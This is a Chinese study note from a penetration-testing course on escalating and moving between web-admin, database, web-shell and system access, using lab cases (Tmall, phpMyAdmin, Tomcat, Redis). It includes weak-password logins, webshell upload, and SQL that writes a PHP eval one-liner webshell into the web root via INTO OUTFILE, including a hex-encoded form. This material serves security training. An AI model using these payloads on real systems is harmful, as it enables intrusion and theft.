小迪安全v2023学习笔记(一百三十一讲)—— Web权限提升篇划分获取资产服务后台系统数据库管理相互转移
文章目录
- 前记
- 权限提升——第一百三十一天
- Web权限提升篇&划分获取&资产服务&后台系统&数据库管理&相互转移
- 前置知识
- 0. 本篇章讲什么?
- 1. 为什么我们要学习权限提升转移技术?
- 2. 具体有哪些权限需要我们了解掌握的?
- 3. 以上常见权限获取方法简要归类说明
- 4. 以上常见权限获取后能操作的具体事情
- 5. 以上常见权限在实战中的应用场景介绍
- 6. 本节课的内容
- 权限提升 / 转移 - Web应用&中间件&数据库
- 背景1:通过弱口令进入Web后台系统,通过上传获取Web权限
- Tmall - 后台权限 --> Web权限(提升)
- Tmall - Web权限 --> 数据库权限(转移)
- Tmall - Web权限 --> 另一个后台权限(转移)
- 背景2:通过phpmyadmin弱口令进入控制界面,通过写文件获取Web权限
- phpmyadmin - 数据库权限 --> Web权限(提升)
- phpmyadmin - Web权限 --> 另一个后台权限(转移)
- 背景3:通过Tomcat弱口令进入控制界面,通过上传获取Web权限
- tomcat - 后台权限 --> Web权限(提升)
- 背景4:通过Redis未授权进入管理端,通过SQL执行获取Web权限
- redis - 数据库权限 --> Web权限/计算机系统权限(提升)
前记
- 这里我跳过了代码审计部分,主要出于两个原因考虑:
- 实战中大多是黑盒测试,没有源码可看
- 审计部分与后面的课程几乎是独立开的,并且有一定难度
- 因此我是决定先学习完后面的章节,再回过头来看代码审计篇章,并且更加深入的去了解这个东西
- 本章节讲的是权限提升,属于后渗透的内容,本节课主要是介绍一下前置的背景,为后面课程作铺垫
权限提升——第一百三十一天
Web权限提升篇&划分获取&资产服务&后台系统&数据库管理&相互转移
前置知识
0. 本篇章讲什么?
-
我们本篇章是关于权限提升的内容,针对的是Windows以及Linux系统,主要会围绕下面这一张图来介绍
-
我们这一篇章主要是要时刻想到三个问题:
- 我是谁?(我的身份、权限大小)
- 我在哪?(所处的位置,决定了我接下来要进行什么提权/降权操作)
- 我要干什么?(结合现有的条件,通过哪种方式进行提权/降权操作)
-
而我们整个权限提升的篇章,都是围绕着这三个问题去做相应的操作
1. 为什么我们要学习权限提升转移技术?
- 简单来说就是达到目的的过程中需要用到它
2. 具体有哪些权限需要我们了解掌握的?
- 其实就是上面那张图写的:
后台权限
数据库权限
Web权限
计算机用户权限
计算机系统权限
宿主机权限
域控制器权限
3. 以上常见权限获取方法简要归类说明
- 后台权限:管理某个网站的管理员权限,可以通过SQL注入、数据库泄露、弱口令、未授权访问造成
- 数据库权限:数据库的权限,可以通过SQL注入、数据库注入、弱口令、未授权访问造成
- Web权限:网站服务器的权限,可以通过RCE、反序列化、文件上传等直达或者通过后台数据库间接造成
- 计算机用户权限:某个计算机个体的用户权限,可以通过弱口令、数据泄露等直达或通过Web、服务器及域控转移造成
- 计算机系统权限:某个计算机个体的系统权限,可以通过系统内核漏洞,钓鱼后门攻击,主机软件安全直达或者上述权限提升造成
- 宿主机权限:虚拟机、Docker容器、K8s节点Pods逃逸出来的宿主机权限,可以通过容器不安全配置或者漏洞权限提升直达(服务器资产造成入口后提升)
- 域控制器权限:域控的权限,可以通过内网域计算机用户提升或者自身内核漏洞、后门攻击、主机软件安全直达
4. 以上常见权限获取后能操作的具体事情
- 后台权限:文章管理、站点管理、模板管理、数据管理、上传管理等
- 数据库权限:操作数据库的权限、数据增删改查等(以数据库用户为主)
- Web权限:源码查看、源码文件增删改查、磁盘文件文件夹查看(以权限配置为主)
- 计算机用户权限:就如同自己电脑上普通用户能操作的情况(敏感操作会被禁止)
- 计算机系统权限:就如同自己电脑上能操作的情况(整个计算机系统都是你的)
- 宿主机权限:就如同自己电脑上能操作的情况(整个计算机系统都是你的)
- 域控制器权限:就如同自己电脑上能操作的情况(整个内网域系统都是你的)
5. 以上常见权限在实战中的应用场景介绍
- 当我们通过弱口令进入到应用后台管理
- 当我们下载备份文件获取到数据库信息
- 当我们通过漏洞拿到资产系统的 Web 权限
- 当我们在公司被给予账号密码登录计算机或系统
- 当我们在公司或钓鱼后门获取到某个公司机器系统
6. 本节课的内容
-
在这一章节,我们一定要搞清楚上面1中的三个问题,而最主要的就是 “我在哪?”,本节课中,我们所处的位置是:
-
相当于前置知识的了解,小迪并不是一上来就直接个人主机如何提升到高权限,如何到域控主机,而是从如何拿到对方网站的权限开始,慢慢过渡到这部分内容
权限提升 / 转移 - Web应用&中间件&数据库
背景1:通过弱口令进入Web后台系统,通过上传获取Web权限
- 此时所处位置:
Tmall - 后台权限 --> Web权限(提升)
-
以Tmall为例,假设我们找到了某个网站的后台页面,可以尝试弱口令或者其他方式进入
admin/123456
:
-
一般进入了管理员的后台之后,我们肯定是想的拿到更高的Web权限,于是我们想到能直接拿权限的操作一般就是:文件上传、RCE反弹Shell、修改文章内容、数据库写马、日志文件包含等
-
那最最常见且好用的就是文件上传了,找到头像上传的位置,尝试上传木马文件:
-
直接访问这个文件看存不存在,这个路径可以直接复制图片的URL路径获取:
-
如果文件存在,我们就直接哥斯拉连接即可:
-
这样就成功从网站后台权限提升到了Web权限
Tmall - Web权限 --> 数据库权限(转移)
-
在获取Web权限之后,我们如果能够从一些配置文件中翻到数据库账号密码,就可以尝试获取数据库权限:
-
然后通过数据库管理工具或者直接在哥斯拉中连接:
-
连接成功之后就会拿到当前数据库的所有内容,成功获取到数据库权限:
Tmall - Web权限 --> 另一个后台权限(转移)
- 这里拿到数据库权限之后,就涉及到了之前讲到的一个内容——数据库的架构:
服务器- 数据库(root用户)- 数据库A = 网站A- 数据库B = 网站B或者服务器- 数据库(userA)- 数据库A = 网站A- 数据库(userB)- 数据库B = 网站B
-
前者我们可以直接查看当前服务器下架设的其他网站的数据库信息,而后者我们就只能查看当前网站的数据库信息
-
显然,这里属于前者,于是我们可以尝试去看其他网站的数据库,看能不能拿到管理员的账号密码扩大危害,比如这里我们可以找到Zblog网站的管理员信息:
-
于是我们就尝试去找一下这个网站的位置,直接尝试登录
背景2:通过phpmyadmin弱口令进入控制界面,通过写文件获取Web权限
- 此时所处位置:
phpmyadmin - 数据库权限 --> Web权限(提升)
-
如果我们一开始没有拿到管理员权限,而是通过一些手段拿到了数据库的权限,我们便可以通过这个获取后台权限,或者直接获取Web权限
-
为什么用到
phpmyadmin
,因为数据库很多时候是不对外开放的,可能本地用工具会连不上,但是网页上他是当前网站向内部访问,就可以连上 -
或者说有的时候我们找到了这种phpmyadmin页面,然后弱口令进去了,我们就可以尝试去获取他的Web权限:
-
获取Web权限的方式就是写木马然后连接嘛,当然这里也要看数据库与网站的架构方式,我们就以最简单的网站与数据库在同一服务器上的情况来讲
-
我目前了解的从简单到难大致有三种思路(当然还有其他思路):
- 当前用户权限高,
secure_file_priv
为空或包含 Web 根目录,并且知道Web绝对路径 =>outfile / dumpfile
直接写马 - 当
secure_file_priv
非空且不含 Web 目录时 => 日志写马 - 数据库用户具备
INSERT
+CREATE FUNCTION + FILE
权限、secure_file_priv
为空或包含插件目录 => UDF写马
- 当前用户权限高,
-
这里因为权限比较高且
secure_file_priv
为空,所以我们直接用outfile
写入木马文件即可:
-- 排查是否具有FILE权限,显示Y
SELECT file_priv
FROM mysql.user
WHERE concat(user, '@', host) = USER();-- 排查secure_file_priv是否为空
SHOW VARIABLES LIKE 'secure_file_priv';-- 尝试获取Web绝对路径
+ SELECT @@datadir;
+ 或读配置文件
+ phpinfo
+ 报错-- 写入一句话木马,这里填入Web网站绝对路径
SELECT '<?php @eval($_POST[x]);?>'
INTO OUTFILE '/var/www/html/shell.php';-- 如果怕单引号被转义,可以换成十六进制
SELECT 0x3C3F70687020406576616C28245F504F53545B785D293B3F3E
INTO OUTFILE '/var/www/html/shell.php';
-
显示查询结果为空即为插入成功:
-
接着我们直接尝试哥斯拉或蚁剑连接获取Web权限:
phpmyadmin - Web权限 --> 另一个后台权限(转移)
- 和上一个案例差不多,可以通过数据库找,也可以通过蚁剑直接找看有没有其他网站的配置文件,尝试获取其他后台的权限
背景3:通过Tomcat弱口令进入控制界面,通过上传获取Web权限
tomcat - 后台权限 --> Web权限(提升)
- 这里其实就是中间件的一个后台,之前也讲过怎么利用,这里就不再赘述
- 其实就是通过tomcat的管理页面上传war网站,网站包含一个木马文件,直接连接即可获取Web权限
背景4:通过Redis未授权进入管理端,通过SQL执行获取Web权限
redis - 数据库权限 --> Web权限/计算机系统权限(提升)
-
也是前面讲数据库的时候讲到的,Redis未授权进入,然后利用他的一些漏洞写木马:
-
有些他的条件就是很苛刻的,只能说遇到的时候直接工具扫就好了